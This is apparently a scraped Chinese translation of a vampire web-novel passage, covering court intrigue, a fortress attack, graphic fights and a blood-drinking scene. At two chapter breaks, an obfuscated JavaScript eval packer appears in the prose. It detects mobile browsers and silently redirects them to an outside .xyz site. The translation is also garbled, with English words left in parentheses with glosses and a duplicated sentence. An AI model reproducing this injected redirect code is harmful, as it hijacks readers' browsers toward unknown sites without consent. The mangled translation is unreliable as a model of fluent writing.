“不，他没有，因为他知道所有人都应该有机会聆听上帝的话语。我们都必须记住，我们成为基督徒，不是因为我们反对谁，而是因为我们爱谁。我不想再看到这样的事了。 相反，你们要按照《圣经》的教导，爱你们的邻居，因为新教徒不是你们的敌人，他们只是走在不同道路上的人。不，真正的敌人是像阿丽亚娜这样崇拜恶魔的□□。” “什……什么？！” “你在那恶魔身下呻吟扭动，像个□□的妓女。他第一晚就占有了你，而你还乐在其中。所多玛和蛾摩拉都从未见过如此可耻的□□场面！” “什么？！不！你搞错了。爸爸！快告诉他们！” “你出生那天，我就该把你淹死。看看你现在成了什么样子。你甚至都站不住了。” 烟雾从我沾满鲜血的长袍中冒出，紧接着燃起了火焰。我试图逃跑，却眼前一片漆黑。我摔倒在一条木凳上，手被烫得生疼。疼得要命。我在地上打滚，痛苦地尖叫着。会众看着我死去，愤怒的低语声在我周围响起。 “来，小□□，这个应该能帮到你。” 阿尔芒神父把水泼在我身上，但火并没有熄灭。我在一道蓝光和一声刺耳的尖叫中消失了。 我睁开眼睛，看到绿色的床单和一个用我从未见过的红褐色木头制成的床柱。又是新的一天，又是一个陌生的房间，我记起这里不是我的家。往好了说，我也只是一个被囚禁在奢华牢笼里的不情愿的客人。 我仍在享受这片刻的宁静。在那种感觉来临之前，我只有几分钟的清醒与安宁。 那种渴望。 我不太了解这种折磨。我觉得每次别人告诉我更多相关事情时，那些想法就像从筛子里溜走一样，在我脑海中消失不见。 希梅纳告诉我，明天我再次见到他时，一切都会真相大白，我真希望如此。长时间处于这种恍惚状态肯定不利于健康。 渴望在我体内愈发强烈，我开始进行新的晨间例行活动。这是一种奇怪的感觉。那种渴望并不局限于喉咙和嘴巴。 它用急切的爪子钻进我的胸膛、腹部和脑海。每一个思绪都被打断，只要我注意力稍有分散，双脚就会不由自主地迈向门口。 不，这样下去可不行。 我找到另一套灰色衣服，和昨天的一样。臀部还是非常紧，我怀疑自己穿的是希梅纳的备用衣服。 我刚换好衣服，就有人敲门。 我正要去开门，却停住了。如果来的不是我的临时导师，而是兰卡斯特家族的泼妇和她的走狗怎么办？ 他们答应过不再打扰我。但我觉得他们不像是守信用的人，而且想害我的也不止他们。 就在这时，我注意到门上有一个小玻璃窗，只有指甲盖那么大。我透过它看去，天哪！我能清楚地看到外面是谁！ 这肯定是某种放大镜，或者是小型望远镜之类的东西吧？我原以为每个房间都有自来水就已经很奢侈了，没想到还有更厉害的。要是他们的厕所镶满钻石，我都不会觉得奇怪。说到厕所，我怎么还没……嗯？ 我刚才在想什么来着？ 又一阵敲门声响起，这次更急促了，把我从遐想中唤醒。我打开门，向希梅纳打招呼。 “原谅我，亲爱的朋友，我的脑子还是一团糟，真希望你带了喝的东西。我快渴死了！” “也祝你早上好，阿丽亚娜。”她微笑着回答，“这是里卡多，他是卡迪兹家族的另一名侍从。”她说，这时我才注意到还有一个男人。 他穿着得体但朴素。他身材高大，有着棕色的眼睛和卷曲的棕色头发，看我的眼神也很友善。我礼貌地向他打招呼，他也回礼了。 “下午好，小姐。” 然后希梅纳让我让他们俩都进来，我想这应该没问题，因为希梅纳可以算是个女伴。 接着又进行了一些冥想练习，结束后里卡多留了下来。我感觉精神焕发，那种渴望也不再纠缠我了。 “塞隆大人请你过去。他是卡迪兹家族在这里的首领，我们现在得去见他。” “什么？希梅纳，你肯定是在开玩笑吧！我这身打扮……” 我不敢过多批评，毕竟这衣服是她好心借给我的，可这裤子实在太不得体了，尤其是臀部这里，太紧了。 希梅纳注意到了我的不安，心领神会地笑了笑，然后回答了我的顾虑。 “别担心，年轻人。灰色是骑士团的颜色，穿上它，你就表明自己与宫廷保持距离。你宣称保持中立和公正，这只会对你有好处。” 我默默地思考着她的话。 “希梅纳，你真让我惊讶，这话考虑得真周到。” “嗯，我对这复杂的……受折磨者的政治也不是一无所知。我通常不去理会这些。但最近发生的事迫使我重新审视自己的 priorities（此处应为priorities，意为“优先事项” ）。” 我猜这和她失宠有关，所以很得体地没有多问。很快，我们来到了众多公寓的边缘，来到另一扇门前。 似乎每层楼都有一个方形区域，里面是各自独立的居住空间，每一边都有等候室，访客可以在那里聚集。 “这栋楼有多少层？为什么没有窗户呢？”我问。 “如果你把地下室也算一层的话，只有五层。不过，你只看到了这座堡垒的一翼，这一层还有很多地方你没机会去参观。至于没有窗户，是为了安全考虑。” “嗯。” “你会……” “是的，是的，我迟早会明白的。” “再过一晚，一切都会真相大白。” 她打开门，走进一个大客厅。舒适的座椅成组摆放着，其他穿着华丽的受折磨者在那里交谈着。 我们没有理会他们，径直走到另一扇门前。希梅纳敲了敲门，没等回应就直接进去了。 我们走进一个中等大小的前厅。家具和装饰和我从地牢出来后看到的其他东西一样，都是巴洛克风格。 这个地方是为了让人停留，而不是生活而设计的。角落里的一个橡木箱子让我相信，这里唯一的居住者和我一样都是客人，尽管他可能是自愿的。 一个男人坐在面向门口的办公桌前。他不慌不忙地放下笔，起身迎接我们。 毫无疑问，他和摩尔夫人地位相当。他的气场压迫着我的思维，虽然缺乏 sophistication（此处应为sophistication，意为“世故；复杂巧妙” ），但却有一种坚实感，和他的体格很相称。 卡迪兹家族的领主有着和我一样的矢车菊蓝眼睛，黑色的卷发垂到他肌肉发达的肩膀上。 他的面部特征充满阳刚之气又不失优雅，再配上一脸不羁的胡须和八字须。 哎呀，他肯定是从某个海盗故事里走出来的，随时准备去掠夺和征服！不过，我很高兴看到他的目光充满算计，而不是充满敌意。他走到我们面前时，我行了个屈膝礼， partly（此处应为partly，意为“部分地；在一定程度上” ）是为了掩饰我的惊讶。 这个男人的肌肉发达得超乎想象！我觉得奥戈泰在他面前都相形见绌，他肯定能用赤手弯金属。难道卡迪兹家族的成员都这么热衷于锻炼身体吗？ “起来吧。” 我站起身，静静地任由这个男人打量我。 “你好，阿丽亚娜。我是卡迪兹家族的塞隆领主，欢迎来到我简陋的住所。” “荣幸之至，塞隆领主。” 这个男人苦笑着，转向希梅纳。 “正如你所说，侍从。” 在他口中，“侍从”这个称呼不再是一种侮辱，而是对过去成就的赞扬，我能看出希梅纳很感激。 “告诉我，阿丽亚娜，我的军需官向你解释过目前的情况了吗？” “她跟我讲了议会的事，还有我主人的意外到来。” “我明白了。她跟你说过你在其中的角色吗？” “我的角色？” 塞隆领主只是轻笑。 “希梅纳果然如此。我打赌她给你的第一个建议就是让你拿起武器。” 希梅纳调皮地轻哼一声，在他的调侃下交叉双臂。 “尼拉里大人一向信守承诺，始终如一地遵守一些规则，但除此之外，他可是声名狼藉。” “你这话听起来好像他犯下了暴行，可我觉得如果真是这样，我肯定会在新闻里听说过，毕竟他看起来也就刚四十岁出头！” 塞隆领主的目光在希梅纳身上一闪，然后继续说道。 “你会大吃一惊的，年轻的阿丽亚娜。他的实际年龄比看起来大得多，而且这些年他游历广泛。 我想你已经意识到，我们的世界与世俗世界不同。受折磨者的存在是个秘密，在我们的社会里，他可是臭名昭著，这也让他的到访更加不同寻常。 这片土地很偏远。我们住在这里，不是自己选择来的，而是被派来的。像他这样地位的人来到这里，还公开露面，肯定是有所图谋。 这次秘密会议三天前就开始了，计划明天结束。是的，我知道尼拉里大人的承诺。我向你保证，没有哪个初出茅庐的新成员会得不到主人的祝福。你可以毫无顾虑地期待那个仪式。” 我本来不担心，可现在我担心了！ “如果我得不到会怎么样？” 塞隆领主似乎一时语塞，于是希梅纳握住我的手，用安慰的语气接着说。 “最终，新成员的精神压力会变得太大，他们就会退化成傀儡。不过别担心，除非发生重大灾难，否则肯定不会这样的。” “是的，阿丽亚娜，一切都会好的。我都不该提这事。如果你愿意的话，我们还是专注于主要话题，以及你被叫来这里的原因。 你看，尼拉里大人请求我们的款待，我们答应了。第二天晚上，他和摩尔夫人相处了很长时间，我们怀疑她，或者更确切地说，她的财产，就是他来这里的原因。 摩尔夫人为兰卡斯特家族管理当地的船运贸易，据我们所知，她是唯一有能力为他提供回到中东或其他他想去地方的人。” “他自己不能装备一艘船吗？像他这样有地位的人肯定不缺钱吧？” “问题不在这儿。远距离运送我们需要特定的物流安排。和摩尔夫人达成协议比自己想办法更容易，也更安全。” “我有太多问题了……” “我知道，”他微笑着说，“很抱歉。现在，正如我所说，尼拉里大人是我们的客人，所以他不会强迫摩尔夫人为他服务，因此他需要一个筹码。你就是那个筹码。” “我？” “是的。作为唯一能帮到他的人，摩尔夫人处于垄断地位，她没有义务加快谈判进程。恰恰相反。据说尼拉里大人非常富有。非常非常富有。她可以利用这一点来提升自己的地位，而这就是你的作用。” “我不明白。” “你对你主人的其他门徒了解多少？” “大家都觉得我会是个疯疯癫癫、连话都说不利索的人？” 卡迪兹家族的这两人都笑了，看到我一脸愤慨，他们才止住笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054911|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊，但和有礼貌的人在一起真好，虽然我不会把塞隆领主当作朋友。 “确实如此。吞噬者过去，嗯，有过不少门徒。他对他们漠不关心，还经常把他们当作工具。” 他们和我不一样。只要我和主人熟悉起来，他就会明白我才是那个应该为他效力的人。 “必要的时候，他把他们培养成精神变态的疯子，然后放任他们出去。他们在被制止之前，把整个教区都搞得乌烟瘴气。” “什……什么？！” 不，他们肯定搞错了。这简直是无稽之谈！一个人绝不可能……我肯定会听说过……他绝不会…… 我刚才在想什么来着？ 我眨了眨眼。希梅纳向塞隆领主示意，他歉意地对我笑了笑。 “请原谅，我失态了。简单来说，你就像悬在摩尔夫人头上的达摩克利斯之剑，就说到这儿吧。” “我不明白这怎么说？” 希梅纳双手握住我的手。我都忘了她的手是那么清凉柔软。 “相信我，他说的是实话。” 我是悬在摩尔夫人头上的达摩克利斯之剑。 “我懂了。” “很好。尼拉里大人利用你的存在来推动谈判进展。按照他那扭曲的荣誉感，他没有义务限制你可能造成的破坏。” 塞隆领主坐回去，摊开双手。 “这对你有两方面的影响。首先，你在这里会受到密切关注，而且大多数人的看法，嗯，会很不友好。其次，如果一切如我们所料，你最终会任由兰卡斯特家族摆布。” “什么，可这太可怕了！他们恨我！你能不能……我很不好意思这样求你，但你能想想办法吗？” “唉，没办法。我们没有正当理由收留你。对你来说，最好的结果就是为他们效力。” “最好的结果？！你肯定是在开玩笑，要么就是你低估了他们对我的厌恶！他们毫无缘由地就对我发起攻击！我要是把自己置于他们的掌控之下，那我就是个傻瓜！”我沮丧地回答。 “那是对你品格的考验。梅卢西娜和兰伯特是摩尔夫人仅有的得力下属，他们被派去试探你，而同时有人在拖住希梅纳。 幸好，他们的手段很拙劣，希梅纳看穿了他们笨拙的企图。他们观察你的时间很短，这对你反而有利。梅卢西娜就算不是出于其他原因，光是出于好奇也会想留你一命。” 他们给了我几秒钟整理思绪。 “所以，我的主人不会带我一起走吗？” “绝无可能，不过我知道你还是会试试。如果你想活下去，就得提前做好打算，我知道该怎么做。告诉我，阿丽亚娜，你想要什么？” 我希望这一切都没发生过，但我知道这只是痴心妄想。希梅纳告诉我要相信她，还说这种病无药可医。那么，我最渴望的是…… “我想回到朋友和家人身边。我想在晨光中漫步在甘蔗地里，身边还有我记不起来的宠物。 我想开一家酿酒厂，让家人过上富足的生活。我想一枪打下一只白鹭，然后吃用炭火烤的鹭肉。 我只希望这疯狂的一切能结束。” 我又快哭出来了，我绝不在卡迪兹家族当地首领面前掉眼泪。我激动的倾诉让我的两位主人一时说不出话来。我希望他们不会觉得我爱发牢骚又可怜兮兮的，但我安慰自己，我确实有理由这么激动！ 他们之间传递了一些无声的信息，最后塞隆领主终于又把注意力转回到我们的谈话上。他们之间传递了一些无声的信息，最后塞隆领主终于又把注意力转回到我们的谈话上。 “如果回家是你最殷切的愿望，我们会竭尽全力为你提供这样的机会。然而，这会是一项艰巨的任务，你得让我们觉得这样做是值得的。” “你们可真够唯利是图的！”我义愤填膺地回应道。 “我对自己的家族负有责任，其中之一就是保护家族成员，并确保资源得到合理利用。你请求我冒着损失人力和资金的风险去营救一个陌生人。” “我还以为我只是在提出一个私人请求。” “阿丽亚娜，这可不止牵涉到我们两个人。很抱歉。” 我双手抱头，努力接受自己的处境。最终，我冷静下来，询问领主他的条件。 “好吧，那你想要我做什么？” “在你和他们在一起的时候，搜集他们商业活动的信息。库存清单、契约和产权证书，我们能用得上这些信息。” “你要我给你们当间谍？！” “没错。我向你保证，那些家伙不值得你对他们忠诚。” “不是这个原因！当间谍太……” “令人反感？” “正是如此。” “相信我，明天过后，你对这件事的看法就会改变。” “好吧，我会尽我所能，尽管我担心你可能高估我了。” 又寒暄了几句后，希梅纳和我离开了卡迪兹家族的领地，她拉着我去了她的训练场，教我击剑的基本要领，包括姿势和如何握剑。 在我入睡之前，我确实学到了一些东西。 第二天，我在紧张和期待中醒来。那种渴望又开始在心底蔓延，但这次我努力让自己专注于即将到来的事情。希梅纳来接我时，我已经穿戴整齐，尽管还是不太习惯这身灰色的紧身衣。 我们再次穿过那错综复杂的走廊，前往举行议会的大厅。一路上，我能感觉到周围投来的异样目光，那些窃窃私语也似乎都与我有关。我挺直了腰板，告诉自己不能示弱。 当我们走进大厅时，里面已经聚集了许多人。我一眼就认出了摩尔夫人，她那高傲的眼神像往常一样充满了轻蔑。而在她旁边，坐着一个男人，我猜他就是尼拉里大人。他的面容英俊却透着一种难以捉摸的冷峻，和我想象中的“吞噬者”形象有些吻合，这让我不禁打了个寒颤。 会议开始了，气氛异常紧张。尼拉里大人和摩尔夫人就运输事宜展开了激烈的讨价还价。我站在一旁，表面上装作若无其事，心里却不停地想着塞隆领主交代给我的任务。我留意着他们的每一句话、每一个表情，试图从中找出有用的线索。 突然，摩尔夫人把话题转向了我。“这个女孩，她真的能成为你的筹码吗？我看她不过是个软弱又无知的小丫头。” 尼拉里大人冷冷地看了我一眼，说：“她的潜力超乎你的想象。而且，你最好不要低估她对我来说的价值。” 我心里一阵委屈和愤怒，但还是强忍着没有发作。希梅纳在我身边轻轻捏了捏我的手，给我无声的鼓励。 随着谈判的进行，我逐渐意识到，这场博弈远比我想象的复杂。各方势力都在为了自己的利益而争斗，而我，这个无辜被卷入其中的人，却成了他们手中的棋子。但我暗暗发誓，我不会任由他们摆布，我一定要找到回家的办法，不管付出什么代价。 5. 血与怨的觉醒 “凯瑟琳姨妈！” “我的小宝贝，真高兴见到你！” 我冲下楼梯，拥抱了她。她回抱了我，然后向后退了一步，神情严肃、眼神含笑地上下打量着我。 “嗯……你都长这么大了！再长高些，我们可得把你修剪掉一点儿啦。” “一点都不好笑！” 我笑着回答，“我都十三岁了，等我长到二十岁，你们所有人都得抬头看我！我甚至会比爸爸还高！” “别想了！” 她回应道，“你的饭量会把我们都吃穷的。” 我们轻笑了一会儿，直到她的表情变得严肃起来。我感到极其尴尬，因为我现在确信了她来这儿的原因，尤其是她把我的表亲们都留在了家里。 “我们得谈一谈，教女，这事儿需要私密的环境。我们去你的房间谈好吗？” “好吧。” 我很想撅嘴抗议，但我现在是个大人了，得表现出耐心和克制。我领着她上了楼，进了我的房间，我坐在床上，而她则拉过一把椅子坐下。 “真希望戴安娜现在能看到你，她一定会非常骄傲的。” 我立刻感到一阵难过。 “对不起，宝贝，我不是故意让你伤心的。” “没关系，我们都很想念她。” “是啊，这让事情变得更糟了。我是多么后悔啊，我不得不做的这件事……” “亲爱的姨妈，您太夸张了。我知道讨论女性的问题有点微妙……” “不是那个，是这个。” 她的双手掐住我的喉咙，把我按倒在床上。我喘不上气了！我挣扎着反抗，但她比我高大强壮得多。 我尖锐的指甲抠进她的胳膊里，却无济于事。悔恨的红色泪水顺着她的脸颊滚落，她的嘴巴大张着，露出锯齿状的尖牙。 哦，我的天哪！我更加惊慌失措了，但黑暗已经渐渐笼罩了我的视线。 “对不起，宝贝，这是唯一的办法！否则他会夺走你的灵魂的！我真的很抱歉，宝贝。非常抱歉……” 我挣扎得更加疯狂了。她的手指深深掐进我的皮肤里，流出血来，直到压力大到无法承受。疼痛变得难以忍受，随着一声可怕的脆响，我的颈椎骨碎了。 有些不对劲。我…… 什么…… 谁？我无法正常思考，一切都显得扭曲而模糊。我有一种只想待在原地等待的冲动，但我知道有些事情不对劲。 这里有股着火的味道。 一想到火，我就惊恐万分，这种发自内心的强烈反应迫使我站了起来。 我…… 我不知道该怎么办。 不，集中精力，这种事以前发生过。 “我…… 的名字是…… 阿丽亚娜…… 我…… 是我…… 自己。” 慢慢地，痛苦地，我的意识开始重新拼凑起来，边缘处还在渐渐消散。要把我的意识凝聚在一起就像握住沙子一样困难，我知道我需要某样东西。我迫切地需要它。 那种强烈的渴望像巨石一样向我袭来。 我向前弯下腰，紧紧捂住肚子。哦，天哪，好痛…… 我需要它。我需要它。我需要它。 我需要它！ 我得找到我的主人。 他答应过…… 然后我们就一起离开这个被诅咒的地方。 没错。 但首先我现在就得找到他。 我振作起来，走向门口，小心翼翼地打开门。各种气味首先扑鼻而来。 木柴燃烧的烟味、火药味、血腥味、粪便味。 走廊里空无一人，只有两具一动不动的尸体。第一具是个穿着女仆装的仆人。她的双手捂着胸口一道深深的伤口。她的手被血浸得通红，看上去就像戴着猩红色的手套一样。她已经死了。半睁着的眼睛里流出泪水，顺着脸颊滑落。 另一具尸体是个穿着黑色皮大衣的男人。他的衣服有军装的风格，但又不是我认识的任何一种军装。我没看到他身上有伤口，但他躺在一滩自己的血泊中，也已经死了。 我没有任何感觉。 在我内心深处，有个声音在尖叫，说这一切都不对劲，我以前也见过尸体，但从没见过这样的场景。 我不在乎。 那个男人手里拿着一把枪，一把做工精良、带有银色刺绣的手枪。我走近一看，发现枪已经开过了。简单检查了一下，发现有银色的子弹和一个火药筒，我把它们都拿走了。我重新给枪装上子弹，然后上了膛。 那个女人中了枪伤。 不管袭击这里的是什么人，他们根本不在乎手无寸铁的女人。他们甚至没有仁慈地给她一个痛快，而是让她在极度痛苦中死去。我可不想有同样的下场。我好不容易撑到现在，不能倒在某个野蛮的家伙手里。 我得逃离这栋楼。着火的味道让我担心。我不敢去找希梅娜，因为如果我了解她的话，她要是还活着，肯定会身处战斗的最核心。 幸运的是，我知道该去哪儿。我们在这座堡垒的一个侧翼里，出口应该在侧翼的 “底层”，离地牢的入口很近。 我很确定，鉴于建造者的古怪品味，这里肯定有隐藏的通道，但我不想去找。我宁愿冒险遇到封锁。 那种强烈的渴望快把我折磨死了。 我尽可能耐心地往下走了一层，当有件奇怪的事情引起我的注意时，我停了下来。这是我第一次睡过的楼层，我第一间房间的门被撞开了。只有另一间房间的入口也被强行打开了。 他们是在追捕这里的居民吗？如果是这样，他们怎么知道我在哪里的呢？ 我走到了底层，放慢了脚步。如果那些神秘的袭击者还在附近，我在这里就会碰到他们。就在我刚想到这儿的时候，附近的走廊里传来了几声脚步声，我听到了奥戈泰那独特的声音。 “…… 太无能了，我绝对不会同意这样做的！你们到底需要多少人才能……” 我松了一口气，从一个壁龛里走了出来，这时奥戈泰出现在我的视线里，我小心翼翼地把枪藏在背后，以防他表现得过于紧张。一个沙哑的声音回了话，但我几乎没怎么留意，直到他的两个同伴走进了我的视线。 他们两个看起来都很凶狠。年纪大一点的那个人，半边脸上有很深的爪痕，差一点就伤到他的黑眼睛了。另一个年轻得多，有着一头红发，眼神锐利。 他们俩都穿着入侵者的黑色大衣，身上带着足够引发一场小规模冲突的武器，而且莫名其妙地还戴着银色的十字架。 我们一看到彼此就都愣住了。 我立刻就明白了。 叛徒。 我转身就跑，奥戈泰动了。 我肯定来不及了。 不过没关系。我身体里有一个我不认识的部分浮现了出来。我几乎没有足够的意识去引导它，但这已经足够了。 我也动了起来。 就在他的刀刃刚碰到我的脖子时，我举起枪，扣动了扳机。 近距离射击。小孩子都不会打偏。 奥戈泰看到枪口时非常惊讶，以至于在他的脸被轰飞的前一刻，我看到他的嘴巴张成了一个 “O” 形。 我还没完。 那两个人立刻掏出枪开始射击。 我抓住奥戈泰的尸体，把它当作盾牌。两声沉闷的撞击声让他的胸口颤抖了一下，我趁机向前冲去。我几乎没有思考，有什么东西控制了我，我就任它摆布。我要活下去。 我要活下去。 所以他们必须死。 奥戈泰的尸体朝那个年纪大一点的男人飞了过去，他试图往旁边躲开。但这是徒劳的。那个战士的尸体太沉重了，而走廊又太狭窄。他闷哼了一声，倒了下去。 好渴啊。 我发出一声尖锐的尖叫，冲向那个红头发的人，直到一道银色的闪光让我赶紧躲开。有什么东西从我肩膀上方飞了过去。现在走廊的狭窄反而对我不利了，我又赶紧躲开了另一样东西。 我的敌人料到了我的动作，第三样东西带着一阵剧痛刺进了我的胳膊。是一把刀！？我嘶嘶地叫着，勉强忍受着疼痛。他离我很近，太近了！ 有什么东西发出白色的光芒，我被一股不可抗拒的力量向后推去。我像只虫子一样被拍飞了，在地上弹了起来。不！不，这不可能。我太渴了。我需要它。 我需要它！ 我及时摇摇晃晃地站了起来，却看到那个年轻人从背心的一个暗袋里又掏出一把手枪，对准了我。 他开枪的时候，我把我那把已经打空子弹的枪扔了过去。在他开枪的时候，枪撞到了他的肩膀上，我旁边的墙上出现了一个巨大的洞。我得靠得更近才行，但我做不到！该怎么办呢！ 哦，当然了。 我又一次冲了过去，这时那个男人又从另一个口袋里掏出一把更小的手枪。他到底有多少把枪啊？这次他静静地等着我靠近。 当我离他只有几英尺远的时候，我把胳膊上的刀拔了出来，朝他扔了过去。我不在乎疼痛。我只在乎他能给我带来解脱。 我笨拙的投掷让刀身的平面撞到了他的鼻子上，这让他分了心。他因为疼痛而向后缩了一下。我趁机绕到了他的身后。我用两根手指抓住他的脖子，把他按倒在地。与此同时，我把他的一只胳膊向后扳，然后咬了下去。 啊，对了！ 不，不对。 这和我以前尝过的完全不一样！这根本不行！我无法吸收这些。这只能稍稍缓解一下我的渴望。我需要更多。我需要他。 我需要从他身上得到它！ 我…… 什么？一切都不再有意义了！ 有人像疯女人一样咯咯地笑了起来。 是我。 我站起来，拿起一把匕首。我无视了其他一切，跟着我的鼻子，朝着我感觉到的一股新鲜空气的方向走去。空气中弥漫着烟味，但我知道这就是出去的路。 我要活下去。 我恍恍惚惚地把那三具尸体留在了身后，走过了仆人和士兵的尸体，还有一堆莫名其妙的灰烬，来到了一个像是战场的地方。 在离一堵半倒塌的墙不到十米的地方，有一道被破坏的路障。我数了数，地上散落着十几具双方的尸体，其中包括几个女人，还有各种各样的武器。 看起来入侵者强攻了这里，没有留下一个活口。当我走过路障时，他们愤怒的原因出现在了我的眼前。 这座堡垒这个侧翼的入口被炸开了，然而墙部分倒塌了，形成了一个狭窄的通道，入侵者的尸体散落在地上。 即使在我恍惚的状态下，我也被眼前的破坏程度震惊了。什么样的狂热分子会像这样轻易地舍弃自己的生命呢？是什么能让他们如此坚定，或者说如此充满仇恨呢？ 我穿过那扇门，发现了一些已经开始干涸的血迹。是刚留下的。有人把受伤的人拖走了。 好渴啊。 我跌跌撞撞地往前走，发现自己来到了一个像大教堂那么大的大厅里。墙壁是天然的。这是某种洞穴吗？ 正对着我的是另一扇门。洞穴在我的左边向上延伸，但那股新鲜空气是从我的右边传来的。我朝那个方向走去。 这个地方除了死人之外空无一人。几盏油灯提供了足够的光线，让我能看得很清楚。 这个大厅很空旷，它唯一的作用似乎就是给人一种威严或恐惧的感觉。我说不准。 我很快就走到了一组巨大的楼梯前，这时有两个人从楼梯上走了下来。我根本没有听到他们的声音！ 第一个是个留着胡子的金发男人，他穿着一件蓝色的大衣，有着淡灰色的眼睛，看到我时皱起了眉头。第二个人让我惊讶地轻呼了一声。 我见过很多奴隶和自由人，他们有的来自海地，有的来自大陆。在许多白人面前，他们总是会有一些表现。 有时候是恐惧，有时候是尊敬，而且常常是反抗，但他们都有一个共同点，那就是他们从不放松警惕。 但这个人不是。 他穿着一套米色的皮衣，而且明显带着武器，脸上带着一种嘲讽的笑容，这表明他谁都不怕。 除了主人和我的父亲，他也是我见过的最高的男人。 这两个新来的人后面分别跟着两个棕色头发的双胞胎男人和一个黑人女人。 他们所有人都散发着我现在认为是被诅咒者才有的那种冰冷的气息，前两个男人的气场和穆尔夫人、塞隆勋爵不相上下。 我得往上走。 我必须突破。 不。他们更强，我走不了。 那个金发男人朝我走了过来，我还没来得及反应，他的动作就快得让我来不及思考，我的眼前一片白光。 “啊！” 前一刻我还在向前看，下一刻我就被五根尖利的东西刺穿了肚子，被举到了半空中。疼痛难以忍受，我好不容易才勉强维持的意识终于崩溃了。 太痛苦了。 我就那样待在那里，一动不动。我不必挣扎。我也不必呼吸。动一下就意味着更多的痛苦。还是待着等比较好。集中精力对抗那团迷雾。这是我还能抓住的最后一丝意识。如果我放弃了，一切就都完了。我从灵魂深处知道这一点。 在我时醒时昏的时候，我能听到一些断断续续的对话。 “…… 再明显不过了！有人背叛了我们，而且我们知道不可能是那些下等人！” “…… 胡说八道。她成为我们中的一员才四天，而这次袭击可是策划了好几个星期了。” “…… 不能相信他的后代！我就知道收留她是个错误……” “把她带上去，否则我们永远也不会知道真相。她吸过血了，可还是在堕落；她几乎已经无可救药了。” 不知怎么的，我们正在往上走。我们来到了另一个宏伟的入口，这个入口是木制的。我们穿过了一座被烧毁的宅邸的残骸。我们穿过了一个花园。我们到了外面。 终于，有什么东西把我从昏迷中摇醒了，我发出了一声微弱的呻吟。 是他！我的救星！ 仅仅是他的存在就让我更多的意识重新凝聚了起来。足以让我关注周围发生的事情。 那个金发男人把我扔在了地上。我蜷缩着抱住肚子。我强忍着疼痛。我什么也做不了。 我要活下去。 我只需要再等几分钟，主人就会救我了。再坚持一会儿…… “这么快就回来了？” “别装蒜了，尼拉里大人，我看穿了你的阴谋！” “我真的很怀疑，小加斯帕，你连手指头都不够数，根本数不清我的阴谋。” “你！这么说你承认这是你干的了？！” “什么是我干的？” “对我们的这次袭击！你来这儿还不到一个星期，我们就遭到了袭击？！你指望我相信这是巧合？！” “或者这可能是因为期待已久的秘密会议。我可以给你解释一下奥卡姆剃刀原理和确认偏误，加斯帕，但我没那个耐心，也没彩色蜡笔来给你画图说明。” “哦！” “够了，加斯帕大人。如果我们想知道更多，只需要问问这个姑娘就行。尼拉里大人？” “我也很好奇。” 主人抓住了我的脖子。不用看我也知道是他。他的触摸让我的身体放松了下来。就连疼痛和那强烈的渴望也都消退了。 我发现自己正看着他的脸。 啊，他那英俊的面容！那王者般的气场！他那高贵的胡须！他的八颗尖牙。 “阿丽亚娜。” 哦，从他嘴里说出我的名字！我完全陶醉了。我像个傻乎乎的少女一样笑了起来。我是那么爱他！ “回答我。” 随着我的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054912|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全放松下来，周围的世界渐渐消失了。世界渐渐模糊，与此同时，我却恢复了完全的清醒。 自从我在那个黑暗的牢房里醒来后，我从来没有像现在这样思维清晰过。 “我们第一次见面的时候，我让你做什么？” “没有被问话就不要说话，称呼你为主人，举止得体，在所有事情上都听从希梅娜的安排。” “你有没有未经允许就说话？” “没有，主人。” “你有没有用除了主人之外的称呼叫过我？” “没有，主人。” “你在所有事情上都听从希梅娜的安排了吗？” “是的，主人。” “你举止得体吗？” “我…… 我觉得是吧？是的，主人。” “我们走着瞧。埃孔大人，你问问题吧，我来转达给她。” 他的注意力转向了其他人。不！看着我！他又转回头看着我。太好了！ “你什么时候醒的？” “我不知道，大概十五分钟前吧？” “那就是日落的时候。你知道我们的堡垒遭到袭击的事吗？” “知道。” “你有没有在任何时候以任何方式帮助过袭击者？” “没有。” 外面有一些骚动，过了一会儿，他又问了我更多问题。 “小加斯帕认为我们被背叛了。你怎么想，小家伙？” “我同意。” 又一阵骚动。主人看起来很惊讶，而且很高兴。 “哦？那你为什么这么认为呢？” “我看到奥戈泰跟两个入侵者在一起。他们在交谈。” 这次的骚动非常大。 “跟我们说说当时的情况。”当我向主人讲述那次遭遇时，他的笑容越来越大，也越来越邪恶，直到他大笑起来。那阴森的笑声让我的胃一阵翻腾。 “啊，年轻的阿丽亚娜，你给我带来了一样我没想到能在这被上帝抛弃的地方找到的东西：娱乐。希梅娜，我的后代表现得得体吗？” 停顿了一下。 “很好，那我宣布你履行了你的承诺。我对这个结果很满意！不是每十年都有人能让我如此开心的。正如我所承诺的，你可以汲取我的精华。希望它能如你所愿。” 他慢慢地把我拉到他的脖子旁。一开始我不明白他要做什么，直到他把我的嘴贴在他柔软的皮肤上。我的嘴本能地张开，他也任由我触碰。 我感觉到某种浓稠如糖浆的东西流过我张开的嘴唇。 时间仿佛停止了。 即使有一天我忘记了自己的名字，即使我能活上一千年，即使我失去了最后一丝理智，我也永远不会忘记品尝这精华的那一刻。 这段经历让我受宠若惊，同时也让我痛苦不堪，因为我知道再也没有什么能与之相比。 我找不到合适的词来形容。 